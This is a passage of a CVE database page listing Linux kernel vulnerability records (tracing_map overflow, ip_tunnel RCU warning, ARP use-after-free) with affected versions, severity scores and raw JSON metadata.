      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:28.346Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e4bb6da24de336a7899033a65490ed2d892efa5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c45feb3c288cf44a529e2657b36c259d86497d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/13ba94f6cc820fdea15efeaa17d4c722874eebf9"
        },
        {
          "url": "https://git.kernel.org/stable/c/8260c980aee7d8d8a3db39faf19c391d2f898816"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca34c40d1c22c555fa7f4a21a1c807fea7290a0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e30abc9ace4f0add4cd761dfdbfaebae5632dd2"
        }
      ],
      "title": "netfilter: nf_tables: honor table dormant flag from netdev release event path",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36005",
    "datePublished": "2024-05-20T09:48:05.568Z",
    "dateReserved": "2024-05-17T13:50:33.150Z",
    "dateUpdated": "2026-05-12T11:53:34.671Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43890 (GCVE-0-2024-43890)

Vulnerability from cvelistv5 – Published: 2024-08-26 10:10 – Updated: 2026-05-12 11:57

Title

tracing: Fix overflow in get_free_elt()

Summary

In the Linux kernel, the following vulnerability has been resolved: tracing: Fix overflow in get_free_elt() "tracing_map->next_elt" in get_free_elt() is at risk of overflowing. Once it overflows, new elements can still be inserted into the tracing_map even though the maximum number of elements (`max_elts`) has been reached. Continuing to insert elements after the overflow could result in the tracing_map containing "tracing_map->max_size" elements, leaving no empty entries. If any attempt is made to insert an element into a full tracing_map using `__tracing_map_insert()`, it will cause an infinite loop with preemption disabled, leading to a CPU hang problem. Fix this by preventing any further increments to "tracing_map->next_elt" once it reaches "tracing_map->max_elt".

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/302ceb625d7b990db…
https://git.kernel.org/stable/c/d3e4dbc2858fe85d1…
https://git.kernel.org/stable/c/eb223bf01e688dfe3…
https://git.kernel.org/stable/c/cd10d186a5409a1fe…
https://git.kernel.org/stable/c/788ea62499b3c1854…
https://git.kernel.org/stable/c/a172c7b22bc2feaf4…
https://git.kernel.org/stable/c/236bb4690773ab686…
https://git.kernel.org/stable/c/bcf86c01ca4676316…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < 302ceb625d7b990db205a15e371f9a71238de91c (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < d3e4dbc2858fe85d1dbd2e72a9fc5dea988b5c18 (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < eb223bf01e688dfe37e813c8988ee11c8c9f8d0a (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < cd10d186a5409a1fe6e976df82858e9773a698da (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < 788ea62499b3c18541fd6d621964d8fafbc4aec5 (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < a172c7b22bc2feaf489cfc6d6865f7237134fdf8 (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < 236bb4690773ab6869b40bedc7bc8d889e36f9d6 (git) Affected: 08d43a5fa063e03c860f2f391a30c388bcbc948e , < bcf86c01ca4676316557dd482c8416ece8c2e143 (git)
Linux	Linux	Affected: 4.7 Unaffected: 0 , < 4.7 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.105 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43890",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:29:25.469360Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:32:58.468Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:06:48.215Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:11.914Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/tracing_map.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "302ceb625d7b990db205a15e371f9a71238de91c",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "d3e4dbc2858fe85d1dbd2e72a9fc5dea988b5c18",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "eb223bf01e688dfe37e813c8988ee11c8c9f8d0a",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "cd10d186a5409a1fe6e976df82858e9773a698da",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "788ea62499b3c18541fd6d621964d8fafbc4aec5",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "a172c7b22bc2feaf489cfc6d6865f7237134fdf8",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "236bb4690773ab6869b40bedc7bc8d889e36f9d6",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            },
            {
              "lessThan": "bcf86c01ca4676316557dd482c8416ece8c2e143",
              "status": "affected",
              "version": "08d43a5fa063e03c860f2f391a30c388bcbc948e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/tracing_map.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.7"
            },
            {
              "lessThan": "4.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.105",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix overflow in get_free_elt()\n\n\"tracing_map-\u003enext_elt\" in get_free_elt() is at risk of overflowing.\n\nOnce it overflows, new elements can still be inserted into the tracing_map\neven though the maximum number of elements (`max_elts`) has been reached.\nContinuing to insert elements after the overflow could result in the\ntracing_map containing \"tracing_map-\u003emax_size\" elements, leaving no empty\nentries.\nIf any attempt is made to insert an element into a full tracing_map using\n`__tracing_map_insert()`, it will cause an infinite loop with preemption\ndisabled, leading to a CPU hang problem.\n\nFix this by preventing any further increments to \"tracing_map-\u003enext_elt\"\nonce it reaches \"tracing_map-\u003emax_elt\"."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:47.785Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/302ceb625d7b990db205a15e371f9a71238de91c"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3e4dbc2858fe85d1dbd2e72a9fc5dea988b5c18"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb223bf01e688dfe37e813c8988ee11c8c9f8d0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd10d186a5409a1fe6e976df82858e9773a698da"
        },
        {
          "url": "https://git.kernel.org/stable/c/788ea62499b3c18541fd6d621964d8fafbc4aec5"
        },
        {
          "url": "https://git.kernel.org/stable/c/a172c7b22bc2feaf489cfc6d6865f7237134fdf8"
        },
        {
          "url": "https://git.kernel.org/stable/c/236bb4690773ab6869b40bedc7bc8d889e36f9d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/bcf86c01ca4676316557dd482c8416ece8c2e143"
        }
      ],
      "title": "tracing: Fix overflow in get_free_elt()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43890",
    "datePublished": "2024-08-26T10:10:43.547Z",
    "dateReserved": "2024-08-17T09:11:59.289Z",
    "dateUpdated": "2026-05-12T11:57:11.914Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-53042 (GCVE-0-2024-53042)

Vulnerability from cvelistv5 – Published: 2024-11-19 17:19 – Updated: 2026-05-12 12:01

Title

ipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_init_flow()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_init_flow() There are code paths from which the function is called without holding the RCU read lock, resulting in a suspicious RCU usage warning [1]. Fix by using l3mdev_master_upper_ifindex_by_index() which will acquire the RCU read lock before calling l3mdev_master_upper_ifindex_by_index_rcu(). [1] WARNING: suspicious RCU usage 6.12.0-rc3-custom-gac8f72681cf2 #141 Not tainted ----------------------------- net/core/dev.c:876 RCU-list traversed in non-reader section!! other info that might help us debug this: rcu_scheduler_active = 2, debug_locks = 1 1 lock held by ip/361: #0: ffffffff86fc7cb0 (rtnl_mutex){+.+.}-{3:3}, at: rtnetlink_rcv_msg+0x377/0xf60 stack backtrace: CPU: 3 UID: 0 PID: 361 Comm: ip Not tainted 6.12.0-rc3-custom-gac8f72681cf2 #141 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 Call Trace: <TASK> dump_stack_lvl+0xba/0x110 lockdep_rcu_suspicious.cold+0x4f/0xd6 dev_get_by_index_rcu+0x1d3/0x210 l3mdev_master_upper_ifindex_by_index_rcu+0x2b/0xf0 ip_tunnel_bind_dev+0x72f/0xa00 ip_tunnel_newlink+0x368/0x7a0 ipgre_newlink+0x14c/0x170 __rtnl_newlink+0x1173/0x19c0 rtnl_newlink+0x6c/0xa0 rtnetlink_rcv_msg+0x3cc/0xf60 netlink_rcv_skb+0x171/0x450 netlink_unicast+0x539/0x7f0 netlink_sendmsg+0x8c1/0xd80 ____sys_sendmsg+0x8f9/0xc20 ___sys_sendmsg+0x197/0x1e0 __sys_sendmsg+0x122/0x1f0 do_syscall_64+0xbb/0x1d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/e2742758c9c85c84e…
https://git.kernel.org/stable/c/5edcb3fdb12c3d46a…
https://git.kernel.org/stable/c/72c0f482e39c87317…
https://git.kernel.org/stable/c/699b48fc31727792e…
https://git.kernel.org/stable/c/6dfaa458fe923211c…
https://git.kernel.org/stable/c/ad4a3ca6a8e886f64…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ab6c9463b137163ba53fc050bf2c72bed2c997b8 , < e2742758c9c85c84e077ede5f916479f724e11c2 (git) Affected: 760852df570747e500a9632d34cbbf4faef30855 , < 5edcb3fdb12c3d46a6e79eeeec27d925b80fc168 (git) Affected: db53cd3d88dc328dea2e968c9c8d3b4294a8a674 , < 72c0f482e39c87317ebf67661e28c8d86c93e870 (git) Affected: db53cd3d88dc328dea2e968c9c8d3b4294a8a674 , < 699b48fc31727792edf2cab3829586ae6ba649e2 (git) Affected: db53cd3d88dc328dea2e968c9c8d3b4294a8a674 , < 6dfaa458fe923211c766238a224e0a3c0522935c (git) Affected: db53cd3d88dc328dea2e968c9c8d3b4294a8a674 , < ad4a3ca6a8e886f6491910a3ae5d53595e40597d (git)
Linux	Linux	Affected: 5.18 Unaffected: 0 , < 5.18 (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.171 , ≤ 5.15.* (semver) Unaffected: 6.1.116 , ≤ 6.1.* (semver) Unaffected: 6.6.60 , ≤ 6.6.* (semver) Unaffected: 6.11.7 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-53042",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:13:44.449792Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:17:19.574Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:28:44.629Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:02.694Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/ip_tunnels.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e2742758c9c85c84e077ede5f916479f724e11c2",
              "status": "affected",
              "version": "ab6c9463b137163ba53fc050bf2c72bed2c997b8",
              "versionType": "git"
            },
            {
              "lessThan": "5edcb3fdb12c3d46a6e79eeeec27d925b80fc168",
              "status": "affected",
              "version": "760852df570747e500a9632d34cbbf4faef30855",
              "versionType": "git"
            },
            {
              "lessThan": "72c0f482e39c87317ebf67661e28c8d86c93e870",
              "status": "affected",
              "version": "db53cd3d88dc328dea2e968c9c8d3b4294a8a674",
              "versionType": "git"
            },
            {
              "lessThan": "699b48fc31727792edf2cab3829586ae6ba649e2",
              "status": "affected",
              "version": "db53cd3d88dc328dea2e968c9c8d3b4294a8a674",
              "versionType": "git"
            },
            {
              "lessThan": "6dfaa458fe923211c766238a224e0a3c0522935c",
              "status": "affected",
              "version": "db53cd3d88dc328dea2e968c9c8d3b4294a8a674",
              "versionType": "git"
            },
            {
              "lessThan": "ad4a3ca6a8e886f6491910a3ae5d53595e40597d",
              "status": "affected",
              "version": "db53cd3d88dc328dea2e968c9c8d3b4294a8a674",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/ip_tunnels.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.18"
            },
            {
              "lessThan": "5.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.171",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.116",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.60",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.10.227",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.171",
                  "versionStartIncluding": "5.15.168",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.116",
                  "versionStartIncluding": "5.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.60",
                  "versionStartIncluding": "5.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.7",
                  "versionStartIncluding": "5.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_init_flow()\n\nThere are code paths from which the function is called without holding\nthe RCU read lock, resulting in a suspicious RCU usage warning [1].\n\nFix by using l3mdev_master_upper_ifindex_by_index() which will acquire\nthe RCU read lock before calling\nl3mdev_master_upper_ifindex_by_index_rcu().\n\n[1]\nWARNING: suspicious RCU usage\n6.12.0-rc3-custom-gac8f72681cf2 #141 Not tainted\n-----------------------------\nnet/core/dev.c:876 RCU-list traversed in non-reader section!!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n1 lock held by ip/361:\n #0: ffffffff86fc7cb0 (rtnl_mutex){+.+.}-{3:3}, at: rtnetlink_rcv_msg+0x377/0xf60\n\nstack backtrace:\nCPU: 3 UID: 0 PID: 361 Comm: ip Not tainted 6.12.0-rc3-custom-gac8f72681cf2 #141\nHardware name: Bochs Bochs, BIOS Bochs 01/01/2011\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0xba/0x110\n lockdep_rcu_suspicious.cold+0x4f/0xd6\n dev_get_by_index_rcu+0x1d3/0x210\n l3mdev_master_upper_ifindex_by_index_rcu+0x2b/0xf0\n ip_tunnel_bind_dev+0x72f/0xa00\n ip_tunnel_newlink+0x368/0x7a0\n ipgre_newlink+0x14c/0x170\n __rtnl_newlink+0x1173/0x19c0\n rtnl_newlink+0x6c/0xa0\n rtnetlink_rcv_msg+0x3cc/0xf60\n netlink_rcv_skb+0x171/0x450\n netlink_unicast+0x539/0x7f0\n netlink_sendmsg+0x8c1/0xd80\n ____sys_sendmsg+0x8f9/0xc20\n ___sys_sendmsg+0x197/0x1e0\n __sys_sendmsg+0x122/0x1f0\n do_syscall_64+0xbb/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:49:41.850Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e2742758c9c85c84e077ede5f916479f724e11c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/5edcb3fdb12c3d46a6e79eeeec27d925b80fc168"
        },
        {
          "url": "https://git.kernel.org/stable/c/72c0f482e39c87317ebf67661e28c8d86c93e870"
        },
        {
          "url": "https://git.kernel.org/stable/c/699b48fc31727792edf2cab3829586ae6ba649e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/6dfaa458fe923211c766238a224e0a3c0522935c"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad4a3ca6a8e886f6491910a3ae5d53595e40597d"
        }
      ],
      "title": "ipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_init_flow()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-53042",
    "datePublished": "2024-11-19T17:19:30.854Z",
    "dateReserved": "2024-11-19T17:17:24.971Z",
    "dateUpdated": "2026-05-12T12:01:02.694Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21762 (GCVE-0-2025-21762)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

arp: use RCU protection in arp_xmit()

Summary

In the Linux kernel, the following vulnerability has been resolved: arp: use RCU protection in arp_xmit() arp_xmit() can be called without RTNL or RCU protection. Use RCU protection to avoid potential UAF.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/10f555e3f573d004a…
https://git.kernel.org/stable/c/307cd1e2d3cb1cbc6…
https://git.kernel.org/stable/c/d9366ac2f956a1948…
https://git.kernel.org/stable/c/f189654459423d4d4…
https://git.kernel.org/stable/c/e9f4dee534eb1b225…
https://git.kernel.org/stable/c/01d1b5c9abcaff29a…
https://git.kernel.org/stable/c/2c331718d3389b6c5…
https://git.kernel.org/stable/c/a42b69f692165ec39…

Impacted products

2 products

Vendor	Product	Version
